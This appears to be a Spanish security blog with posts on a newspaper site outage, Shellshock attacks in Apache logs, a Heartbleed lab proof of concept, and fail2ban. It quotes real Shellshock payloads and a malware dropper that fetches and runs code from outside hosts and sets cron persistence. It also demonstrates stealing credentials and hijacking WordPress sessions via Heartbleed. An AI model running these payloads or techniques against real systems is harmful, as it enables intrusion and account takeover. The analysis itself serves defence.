Mostrando entradas con la etiqueta apache. Mostrar todas las entradas
Mostrando entradas con la etiqueta apache. Mostrar todas las entradas

sábado, 12 de diciembre de 2015

Página12 bajo ataque...???

Hace ya un par de días la versión digital del diario Página12 se encuentra fuera de servicio o con un servicio muy reducido. Siendo el diario oficialista por excelencia (pero paradógicamente fundado por el mayor opositor del oficialismo ) la situación levanta muchas sospechas en un momento como el que está cursando Argentina.

Este post NO intenta resolver el misterio, dado que es bastante difícil/imposible de lograr tal cosa sin acceso preciso a los detalles, y como muchas veces en nuestro país posiblemente jamás se sepa la verdad. Sin embargo... hay cosas que podrían no ser cómo las venden.

El problema o ataque de denegación de servicio comenzó aparentemente el Martes 8 de Diciembre (hace unos 4 días), y desde entonces el sitio tuvo cortos períodos de funcionamiento. Un intento de conexión al sitio termina sencillamente en un timeout luego de intentar por unos segundos:

juan@juan-VirtualBox:~$ nc -vz www.pagina12.com.ar 80
nc: connect to www.pagina12.com.ar port 80 (tcp) failed: Connection timed out
juan@juan-VirtualBox:~$


Esto nos indica varias posibles situaciones:
  • El servidor se encuentra realmente ante un JODIDO ataque de denegación de servicio y no es capaz de aceptar nuevas conexiones. Vamos... 5 días de ataque?
  • El servidor se encuentra apagado y/o el tráfico no llega al mismo por algún motivo extra.
Por supuesto que no responde ni ping, ni permite conexiones a otros puertos conocidos:

 juan@juan-VirtualBox:~$ ping -c 3 www.pagina12.com.ar
PING www.pagina12.com.ar (138.0.155.10) 56(84) bytes of data.

--- www.pagina12.com.ar ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2017ms

juan@juan-VirtualBox:~$ nc -vz www.pagina12.com.ar 22 -w 5
nc: connect to www.pagina12.com.ar port 22 (tcp) timed out: Operation now in progress
juan@juan-VirtualBox:~$ nc -vz www.pagina12.com.ar 443 -w 5
nc: connect to www.pagina12.com.ar port 443 (tcp) timed out: Operation now in progress
juan@juan-VirtualBox:~$



Pero bueno, es cierto que todo esto podría estar filtrado en el firewall y por eso no hay respuesta del servidor. Otro detalle no menor es el hecho de que el dominio www.pagina12.com.ar y m.pagina12.com.ar resuelven siempre con la misma IP:

juan@juan-VirtualBox:~$ dig +short www.pagina12.com.ar
138.0.155.10
juan@juan-VirtualBox:~$


no hay ningún tipo de balanceo por DNS o de redirección regional, nada de eso. Esto último lo pueden corroborar con https://dnschecker.org/#A/www.pagina12.com.ar



Dicha IP es propiedad de la gente de Gigared en Bs As:

juan@juan-VirtualBox:~$ whois 138.0.155.10

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# http://www.arin.net/public/whoisinaccuracy/index.xhtml
#


#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=138.0.155.10?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
#

NetRange:       138.0.0.0 - 138.0.255.255
CIDR:           138.0.0.0/16
NetName:        LACNIC-ERX-138-0-0-0
NetHandle:      NET-138-0-0-0-1
Parent:         NET138 (NET-138-0-0-0-0)
NetType:        Transferred to LACNIC
OriginAS:      
Organization:   Latin American and Caribbean IP address Regional Registry (LACNIC)
RegDate:        2010-11-19
Updated:        2010-11-19
Comment:        This IP address range is under LACNIC responsibility
Comment:        for further allocations to users in LACNIC region.
Comment:        Please see http://www.lacnic.net/ for further details,
Comment:        or check the WHOIS server located at http://whois.lacnic.net
Ref:            http://whois.arin.net/rest/net/NET-138-0-0-0-1

ResourceLink:  http://lacnic.net/cgi-bin/lacnic/whois
ResourceLink:  whois.lacnic.net

OrgName:        Latin American and Caribbean IP address Regional Registry
OrgId:          LACNIC
Address:        Rambla Republica de Mexico 6125
City:           Montevideo
StateProv:     
PostalCode:     11400
Country:        UY
RegDate:        2002-07-27
Updated:        2011-09-24
Ref:            http://whois.arin.net/rest/org/LACNIC

ReferralServer:  whois://whois.lacnic.net
ResourceLink:  http://lacnic.net/cgi-bin/lacnic/whois

OrgTechHandle: LACNIC-ARIN
OrgTechName:   LACNIC Whois Info
OrgTechPhone:  999-999-9999
OrgTechEmail:  whois-contact@lacnic.net
OrgTechRef:    http://whois.arin.net/rest/poc/LACNIC-ARIN

OrgAbuseHandle: LACNIC-ARIN
OrgAbuseName:   LACNIC Whois Info
OrgAbusePhone:  999-999-9999
OrgAbuseEmail:  whois-contact@lacnic.net
OrgAbuseRef:    http://whois.arin.net/rest/poc/LACNIC-ARIN


#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# http://www.arin.net/public/whoisinaccuracy/index.xhtml
#



Found a referral to whois.lacnic.net.


% Joint Whois - whois.lacnic.net
%  This server accepts single ASN, IPv4 or IPv6 queries

% LACNIC resource: whois.lacnic.net


% Copyright LACNIC lacnic.net
%  The data below is provided for information purposes
%  and to assist persons in obtaining information about or
%  related to AS and IP numbers registrations
%  By submitting a whois query, you agree to use this data
%  only for lawful purposes.
%  2015-12-12 09:28:12 (BRST -02:00)

inetnum:     138.0.152/22
status:      allocated
aut-num:     N/A
owner:       Gigared S.A.
ownerid:     AR-GISA2-LACNIC
responsible: Roberto Feijoo
address:     Donado, 840,
address:     C1427CZB - Capital Federal -
country:     AR
phone:       +54 11 63106000 [6071]
owner-c:     FER
tech-c:      FER
abuse-c:     FER
inetrev:     138.0.152/22
nserver:     NS1.GIGARED.COM 
nsstat:      20151210 AA
nslastaa:    20151210
nserver:     NS2.GIGARED.COM 
nsstat:      20151210 AA
nslastaa:    20151210
created:     20150102
changed:     20150102

nic-hdl:     FER
person:      Feijoo Roberto
e-mail:      rfeijoo@GIGARED.COM.AR
address:     Donado, 840,
address:     C1427CZB - Capital Federal - BA
country:     AR
phone:       +54 11 604006000 [6030]
created:     20030110
changed:     20150303

% whois.lacnic.net accepts only direct match queries.
% Types of queries are: POCs, ownerid, CIDR blocks, IP
% and AS numbers.

juan@juan-VirtualBox:~$


Osea que bien podrían comunicarse con la gente de Gigared para pedirles una mano y con un poco de maña y recursos podrían reducir el impacto de tal ataque.

Sus DNSs


Simpáticamente la gente de Página12 usa los DNS de Cloudflare (deberían haber usado el CDN también xD, o se estarán mudando gradualmente a Cloudflare???):

juan@juan-VirtualBox:~$ dig -t NS pagina12.com.ar
; <<>> DiG 9.9.5-3ubuntu0.5-Ubuntu <<>> -t NS pagina12.com.ar
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- 33465="" br="" id:="" noerror="" opcode:="" query="" status:="">;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;pagina12.com.ar.        IN    NS

;; ANSWER SECTION:
pagina12.com.ar.    2084    IN    NS    bill.ns.cloudflare.com.
pagina12.com.ar.    2084    IN    NS    edna.ns.cloudflare.com.


;; Query time: 16 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Sat Dec 12 11:37:17 GMT 2015
;; MSG SIZE  rcvd: 88

juan@juan-VirtualBox:~$


esto es una muy buena práctica, pero claro... solo DNS con alta disponibilidad no es suficiente. Insisto deberían haber ampliado al servicio de CDN, podría haberle ahorrado un dolor de cabeza con los beneficios de Cloudflare ante ataques DDOS.

Historia de la IP


En Internet hay mucha historia, por suerte. Así como hay sitios que se encargan de guardar copias de otros sitios para luego comparar como fueron cambiando con el tiempo, hay sitios que guardan la historia de DNS. ViewDNS.info es uno de ellos; qué tiene ese sitio para contarnos sobre www.pagina12.com.ar?:



Al parecer el dominio cambió de IP 3 veces desde 2014, es cierto que podría ser información no muy precisa. Pero.... según viewdns.info el dominio www.pagina12.com.ar cambio IP por última vez hace no muchos días. Previamente (por lo menos hasta el 4 de Diciembre) se encontraba en la IP 190.57.233.170, que corresponde al operador EDITORIAL LA PAGINA S.A. (aunque dentro del SA de Gigared S.A.):

juan@juan-VirtualBox:~$ whois 190.57.233.170

% Joint Whois - whois.lacnic.net
%  This server accepts single ASN, IPv4 or IPv6 queries

% LACNIC resource: whois.lacnic.net


% Copyright LACNIC lacnic.net
%  The data below is provided for information purposes
%  and to assist persons in obtaining information about or
%  related to AS and IP numbers registrations
%  By submitting a whois query, you agree to use this data
%  only for lawful purposes.
%  2015-12-12 09:50:11 (BRST -02:00)

inetnum:     190.57.233.160/28
status:      reallocated
owner:       EDITORIAL LA PAGINA S.A.
ownerid:     AR-ELPS-LACNIC
responsible: LUIS COMAND
address:     SOLIS, 1525,
address:     C1134ADG - CABA -
country:     AR
phone:       +54 011 67724400 [4481]
owner-c:     LUC52
tech-c:      LUC52
abuse-c:     LUC52
created:     20140930
changed:     20140930
inetnum-up:  190.57.224/19

nic-hdl:     LUC52
person:      Luis Comand
e-mail:      comande@PAGINA12.COM.AR
address:     Sol�s, 1525,
address:     C1134ADG - Buenos aires -
country:     AR
phone:       +54 11 67724481 []
created:     20140930
changed:     20140930

% whois.lacnic.net accepts only direct match queries.
% Types of queries are: POCs, ownerid, CIDR blocks, IP
% and AS numbers.

juan@juan-VirtualBox:~$


Por supuesto que no podemos saber a ciencia cierta porque se dio este cambio, pero el cambio existió (podemos asegurarlo porque la IP actual es diferente). Ahora revolviendo un poco mas en el cajón de los recuerdos... vemos...





Todo esto indicaría que la gente de Pagina12 podría haber estado migrando el servidor de un lugar después del 4 de Diciembre. Cambiaron de IP y de DNS registrados en NIC. Podría deberse a esto la caída del servicio? Todos sabemos que las migraciones no suelen ser una tarea sencilla.

Reportes de usuarios


Revolviendo un poco mas, me encontré con un simpático personaje de tweeter (hellr00t) que allá por Marzo se encargó de publicar ciertas falencias en el servidor web de Página12. El tweet en particular es https://twitter.com/hellr00t/status/577938582377271297 donde se puede ver lo que serían las estadísticas del servidor web Apache hospedando Página12. El tweet pasó bastante desapercibido pero dejó en evidencia una buena prueba de lo mal administrado que se encontraba el servidor.

Conclusión


La verdad, desde mi humilde opinión y dejando de lado las teorías conspirativas, es que no se puede saber con precisión qué está pasando con el sitio de Página12. Si alguien me pidiese mi punto de vista (que a poca gente le va a importar xD), NO creo que se trate de un ataque de denegación de servicio como se está hablando. Mas bien me parece que una de las siguientes cosas sucedió:

  • Migración con problemas. Es muy fácil que una migración se complique, malos cálculos de recursos, versiones nuevas de software que generan incompatibilidades, etc, etc etc.
  • No descarto un ataque al sitio, todos sabemos que hay gente mala pululando por ahí. Pero... 5 días de downtime habla peor de los administradores que de los atacantes.
Posiblemente el tiempo aclare alguna de las dudas planteadas, o no. Estoy mas que abierto a opiniones y sugerencias, en caso de que vean algo que yo no vi.

Saludos!!!

Actualización 14 de Diciembre


Al parecer no estaba tan equivocado con respecto a la posible migración en proceso de la versión digital de Pagina12. Al día de hoy el sitio web www.pagina12.com.ar se encuentra respondiendo a través del servicio de CDN de CloudFlare. Podemos confirmarlo primero que nada con las nuevas IPs:

juan@juan-VirtualBox:~$ dig +short www.pagina12.com.ar
104.20.76.37
104.20.75.37

juan@juan-VirtualBox:~$


estas IPs pertenecen a CloudFlare

juan@juan-VirtualBox:~$ whois 104.20.75.37|grep -i orgname
OrgName:        CloudFlare, Inc.

juan@juan-VirtualBox:~$ whois 104.20.76.37|grep -i orgname
OrgName:        CloudFlare, Inc.
juan@juan-VirtualBox:~$


de momento la vieja IP sigue funcionando y se puede acceder sencillamente:

juan@juan-VirtualBox:~$ curl -I 138.0.155.10/index.php -H 'Host:www.pagina12.com.ar'
HTTP/1.1 302 Found
Date: Mon, 14 Dec 2015 22:09:10 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-7+squeeze14
Location: /diario/ultimas/index.html
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1

juan@juan-VirtualBox:~$

Al parececr lo que han hecho, básicamente es utilizar el servicio de CDN the CloudFlare para darle una mejor performance al sitio, actuando como cache y además es una muy buena idea para mitigar algunos tipos de ataques.

Pequeña recomendación para los sysadmins del sitio... restrinjan el acceso al puerto 80 del servidor backend solamente a las IPs de los caches de Cloudflare. Si no lo hacen sigue siendo muy sencillo atacar el servidor donde realmente se encuentra hospedado el sitio.

A ciencia cierta esto NO devela del todo el misterio... Mi predicción de migración fue acertada :D, pero probablemente jamás sepamos si la migración fue como acción para mitigar un ataque o... el ataque nunca existió y el problema que se hacía visible era por la migración misma.

Escucho ideas!!!

domingo, 28 de septiembre de 2014

Buscando rastros de CVE-2014-6271 y CVE-2014-7169 en los logs

El miércoles pasado se descubrió una gran falla de seguridad en uno de las shells mas utilizadas en ambietes Unix-like, bash. Hoy que estoy de vuelta en el ruedo me decidí a ver si ya estabamos antes escaneos masivos en busca de servidores para explotar la vulnerabilidad y claramente si.

En un breve análisis de logs de apache vemos cosas como:


Sep 27 14:34:35 host01 host01: 37.148.163.38 - - [27/Sep/2014:14:34:34 -0300] "GET / HTTP/1.1" 200 91558 "-" "() { :;}; /bin/bash -c \"wget http://psicologoweb.net/mc/s.php/host1\""

Sep 27 15:53:26 host02 host02: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 227 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host02 host02: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 227 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host03 host03: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 9836 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host04 host04: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 10166 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

La lista continua con diferentes variantes, pero en esencia se descargan desde la IP 221.132.37.26 el archivo "sh" con el siguiente contenido:


#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

El paso siguiente es descargarse un ejecutable llamado "xx":


file juan@moon:~$ file Descargas/xx
Descargas/xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

juan@moon:~$ ll Descargas/xx -h
-rw-rw-r-- 1 juan juan 652K 2014-09-28 21:18 Descargas/xx

juan@moon:~$ md5sum Descargas/xx
835ccabb2fded42a58f40a342a3ea189  Descargas/xx
juan@moon:~$ 



Un binario de un tamaño considerable, catalogado por Virustotal como un troyano para Linux (enlace del análisis: https://www.virustotal.com/es/file/b48d0534a20291bc102f1f9ba9882daf753a9a75006e0be7ffb90bfc7df7e2f1/analysis/1411951054/)



Ejecuta el troyano y descarga dos nuevos archivos "ru" y "rr", siendo el contenido de ru (rr ya fue eliminado parece ser):


#!/bin/bash
dontrun=""
arch=`uname -m`
cd /dev/shm
function runPnscan()
{

cd /dev/shm
chmod +x pnscan php
bash run &

}

function isPnscanOn()
{
        pid=`pidof pnscan`
        if [ "$pid" == "" ];then

                retval=0
        else
                retval=1
        fi             
        echo "$retval"
}
        cd /dev/shm
        if [ ! -f pnscan ];then
        case "$arch" in
                "x86_64")
                wget -q http://bont.hu/ar/64.tgz -O 64.tgz
                tar xvzf 64.tgz
rm -rf 64.tgz
                ;;
                *)
                wget -q http://bont.hu/ar/86.tgz -O 86.tgz
                tar xvzf 86.tgz
rm -rf 86.tgz
                ;;
        esac
        fi


if [ $(isPnscanOn) == 1 ];then
#        echo "Running"
        exit
else
        echo "Not Running"
        if [ "$dontrun" != "1" ];then
                $(runPnscan)
        fi
fi
rm -rf /dev/shm/run
rm -rf /dev/shm/pnscan

Este nuevo script descarga mas cosas que ya no existen por lo tanto no parecería tener sentido analizarlo demasiado pero... a simple vista intenta correr a toda costa pnscan, y ¿qué demonios es eso? JA, se trata de nada mas y nada menos que un scanner de redes paralelo, es decir un software para scanear grandes redes de manera eficiente con funcionamiento multihilo lo cual lo hace muy rápido. 

Continuando con el script xx vemos que una vez descargados ru y rr los ejecuta y elimina. Paso siguiente mata una cantidad considerable de procesos, muchos conocidos y otros no tanto. 

Lo mas simpático de este script es el intento de inmortalizarse haciendo uso de cron:


echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron


Como siempre se están usando sitios comprometidos para alojar el malware que se descarga, en este caso el sitio bont.hu por ejemplo.

Recomendaciones:

-Revisen los logs y busquen cadenas como "/bin/bash", "echo", "/bin/wget", etc, junto con "() {", etc.
-Si encuentran sistemas que registraron estos logs, analicen mas a fondo para ver si realmente fue ejecutada la orden. Si la aplicación web tien cgi activados, con mas razón aún.
-Eliminen todos los archivos de /tmp/
-Busquen conexiones desde/hacia el servidor en puertos raros con netstat por ejemplo (si es que no fue cambiado por un rootkit claro xD)
-Por último cabe recordar que no hay que fiarse demasiado de la información que entregue el sistema dado que puede haber sido comprometido.

Saludossss

viernes, 11 de abril de 2014

HeartBleed proof of concept - CVE-2014-0160 - Una prueba de concepto

Muuuuuuuuuuuuucho se habló en los últimos días (y se sigue hablando de hecho) de este gran tropiezo de OpenSSL llamado "HeartBleed bug", por si no están al tanto pueden pasar por aca o por aca para una mirada en Inglés. La idea de esta entrada es demostrar de manera mas o menos sencilla la potencialidad del problema. Para explotar el bug utilizaré el pequeño pero potente script en python desarrollado por Jared Stafford.

El escenario de prueba es el siguiente:


-Servidor Ubuntu 12.04.4 LTS con Apache y OpenSSL 1.0.1 (vulnerable)
-IP: 172.16.62.149
-Un certificado autofirmado
-Autenticación basic-auth
-Wordpress

Comprobar que el servidor es vulnerable:


Lanzamos manualmente el script para corroborar el estado de debilidad del servidor.

juan@moon:~/pruebas$ ./heartbleed.py 172.16.62.149
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 629
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
...
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!

Excelente, el servidor es efectivamente vulnerable. Lo que vemos como salida es la respuesta del servidor, que casualmente resulta ser el contenido de un buffer interno de OpenSSL en el cuál se pueden encontrar cosas interesantes.

Prueba de concepto con basic-auth:


Como mencioné antes, el servidor cuenta con una autenticación de tipo basic que pide un usuario llamado juan con clave pepe. Para quienes tengan duda, la autenticación esta se realiza luego de haberse establecido la comunicación segura sobre SSL/TLS, y por lo tanto debería ser imposible conseguir las credenciales del usuario.

Nota: la autenticación basic manda en texto claro la cadena usuario:clave codificada en base64 dentro del encabezado HTTP.

Para simplificar las cosas podemos saber qué cadena debemos buscar en la salida del script, simplemente codificando juan:pepe en base64.


juan@moon:~$ echo -n "juan:pepe" | base64 
anVhbjpwZXBl
juan@moon:~$

Listo, la cadena que buscaremos en la salida es anVhbjpwZXBl.


Desde un browser accedemos al sitio por HTTPS y nos autenticamos correctamente:


Inmediatamente después lanzamos nuevamente el script desde la consola y en un par de ejecuciones nos encontramos conesto :


Claro como el agua... encontramos la cadena (me olvidé de marcar an, soy pésimo manejando GIMP, perdón). Si ahora la decodificamos:

juan@moon:~$ echo "anVhbjpwZXBl"|base64 -d
juan:pepejuan@moon:~$ 

Volvemos a obtener el usuario y password correspondiente!!! Es decir que ahora ya sabemos que es posible obtener las credenciales, solo debemos buscar la cadena Basic que las antecede.

Y qué pasa con otras aplicaciones? Wordpress?


 La realidad es que este buffer almacena parte de la información que es devuelta al cliente y allí podremos encontrar muuuchas cosas interesantes (como se demostró en el punto anterior). En este caso particular veremos cómo se comporta este bug con una aplicación como Wordpress. A decir verdad el comportamiento será igual para cualquier tipo de aplicación web, por lo tanto esto es solo un caso particular, pero el método vale para muchos escenarios mas.

Nos autenticamos en Wordpress como admin en este caso, desde mi Chrome en Linux y confiamos plenamente en la seguridad de mi super certificado autofirmado que cifrará toda la comunicación y por lo tanto mis credenciales atravesarán la web cifradas (esto sigue siendo completamente válido!).


Ahora lanzamos el script desde una consola hasta que encontremos en la respuesta algo reconocible. Como:


...
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 33 37 2E 31  ....#.......37.1
  00e0: 37 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47  7 (KHTML, like G
  00f0: 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 32 34 2E  ecko) Chrome/24.
  0100: 30 2E 31 33 31 32 2E 35 36 20 53 61 66 61 72 69  0.1312.56 Safari
  0110: 2F 35 33 37 2E 31 37 0D 0A 41 63 63 65 70 74 3A  /537.17..Accept:
  0120: 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 72 3A 20 68   */*..Referer: h
  0130: 74 74 70 73 3A 2F 2F 31 37 32 2E 31 36 2E 36 32  ttps://172.16.62
  0140: 2E 31 34 39 2F 77 70 2D 61 64 6D 69 6E 2F 0D 0A  .149/wp-admin/..
  0150: 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A  Accept-Encoding:

  0160: 20 67 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64   gzip,deflate,sd
  0170: 63 68 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75  ch..Accept-Langu
  0180: 61 67 65 3A 20 65 73 2C 65 6E 2D 55 53 3B 71 3D  age: es,en-US;q=
  0190: 30 2E 38 2C 65 6E 3B 71 3D 30 2E 36 2C 65 6E 2D  0.8,en;q=0.6,en-
  01a0: 47 42 3B 71 3D 30 2E 34 0D 0A 41 63 63 65 70 74  GB;q=0.4..Accept
  01b0: 2D 43 68 61 72 73 65 74 3A 20 49 53 4F 2D 38 38  -Charset: ISO-88
  01c0: 35 39 2D 31 2C 75 74 66 2D 38 3B 71 3D 30 2E 37  59-1,utf-8;q=0.7
  01d0: 2C 2A 3B 71 3D 30 2E 33 0D 0A 43 6F 6F 6B 69 65  ,*;q=0.3..Cookie
  01e0: 3A 20 77 6F 72 64 70 72 65 73 73 5F 73 65 63 5F  : wordpress_sec_
  01f0: 61 62 61 62 38 62 37 30 63 33 63 33 32 64 35 63  abab8b70c3c32d5c
  0200: 38 36 34 65 32 61 66 64 65 65 32 32 31 38 32 37  864e2afdee221827
  0210: 3D 61 64 6D 69 6E 25 37 43 31 33 39 37 33 36 33  =admin%7C1397363
  0220: 31 39 31 25 37 43 32 61 65 35 30 34 30 62 63 31  191%7C2ae5040bc1
  0230: 33 65 63 30 63 66 30 37 66 35 34 63 31 31 66 35  3ec0cf07f54c11f5
  0240: 66 39 34 33 36 62 3B 20 77 6F 72 64 70 72 65 73  f9436b; wordpres
  0250: 73 5F 74 65 73 74 5F 63 6F 6F 6B 69 65 3D 57 50  s_test_cookie=WP
  0260: 2B 43 6F 6F 6B 69 65 2B 63 68 65 63 6B 3B 20 77  +Cookie+check; w
  0270: 6F 72 64 70 72 65 73 73 5F 6C 6F 67 67 65 64 5F  ordpress_logged_
  0280: 69 6E 5F 61 62 61 62 38 62 37 30 63 33 63 33 32  in_abab8b70c3c32
  0290: 64 35 63 38 36 34 65 32 61 66 64 65 65 32 32 31  d5c864e2afdee221
  02a0: 38 32 37 3D 61 64 6D 69 6E 25 37 43 31 33 39 37  827=admin%7C1397
  02b0: 33 36 33 31 39 31 25 37 43 62 62 35 35 35 34 37  363191%7Cbb55547
  02c0: 30 35 35 38 63 37 31 66 30 38 32 36 30 62 65 30  0558c71f08260be0
  02d0: 34 62 37 64 66 34 63 63 64 3B 20 77 70 2D 73 65  4b7df4ccd; wp-se
  02e0: 74 74 69 6E 67 73 2D 74 69 6D 65 2D 31 3D 31 33  ttings-time-1=13
  02f0: 39 37 31 39 30 33 39 32 0D 0A 0D 0A 86 9A 98 1D  97190392........
  0300: F7 86 18 75 98 5E 72 C7 7B DA B5 FD 6C C8 0D 48  ...u.^r.{...l..H
...

Acabamos de capturar ni mas ni menos que las cookies de una sesión autenticada como admin!!!  Y ahora? 

El paso siguiente es utilizarlas, y una manera sencilla es mediante el complemento Cookies Manager para Firefox. Abrimos una ventana de Firefox en una VM con Windows (solo para que quede demostrado que es un entorno completamente diferente al entorno donde se inicio la sesión) e intentamos acceder a wp-admin.



Claramente precisamos un usuario y un password, que no tenemos!!! Entonces? Cargamos las cookies una a una, pasadas en limpio las cookies son las 4 siguientes:


wordpress_sec_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7C2ae5040bc13ec0cf07f54c11f5f9436b
wordpress_test_cookie=WP+Cookie+check
wordpress_logged_in_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7Cbb555470558c71f08260be04b7df4ccd
wp-settings-time-1=1397190392

Cargadas con Cookies Manager se ven así:


Y ahora volvemos a intentar acceder a wp-admin y...


como por arte de magia estamos en el dashboard como usuario administrador!!! A partir de aquí se podría hacer prácticamente cualquier cosa en este blog.

Resumen


Es evidente que la vulnerabilidad en cuestión expone brutalmente el contenido que se supone debería estar protegido por la capa de cifrado SSL/TLS. Por lo tanto aplicar el parche correspondiente y revocar los certificados es una idea MAS que recomendable (obligatoria diría).

viernes, 21 de marzo de 2014

Protegiendo nuestro servidor con fail2ban - Parte 2 "Frenando bots y scanners web simples"

Buenas noches! Debido al éxito rotundo (10 visitas :D) del post anterior de fail2ban hoy les traigo uno nuevo. Esta vez la idea es bloquear esos scanner de vulnerabilidades web que se suelen utilizar de manera automatizada para buscar sitios débiles.

En particular hoy vamos a detectar y bloquear un intento de escaneo con Nikto. Nikto es una herramienta muy común en el ámbito del web pentesting, cuenta con una gran batería de pruebas y es muy flexible. Usaré la versión de nikto 2.1.5 y el objetivo de prueba será un sitio con la versión 3.0.1 de wordpress, una versión ya en desuso y con conocidos fallos de seguridad.

Lanzaremos nikto contra un objetivo y buscaremos cómo identificarlo dentro de los logs de apache, para poder luego indicarle a fail2ban cómo reconocerlo y qué hacer al respecto.


¿Cómo obtener nikto?


Hay al menos dos formas de instalar nikto, siendo la mas sencilla (pero mas desactualizada) desde los repositorios de la distribución en cuestión y la mas "complicada" (pero mas actualizada) descargandolo manualmente. En este caso tomaremos el camino dificil, pero mas satisfactorio :D.


Lo descargamos y descomprimimos


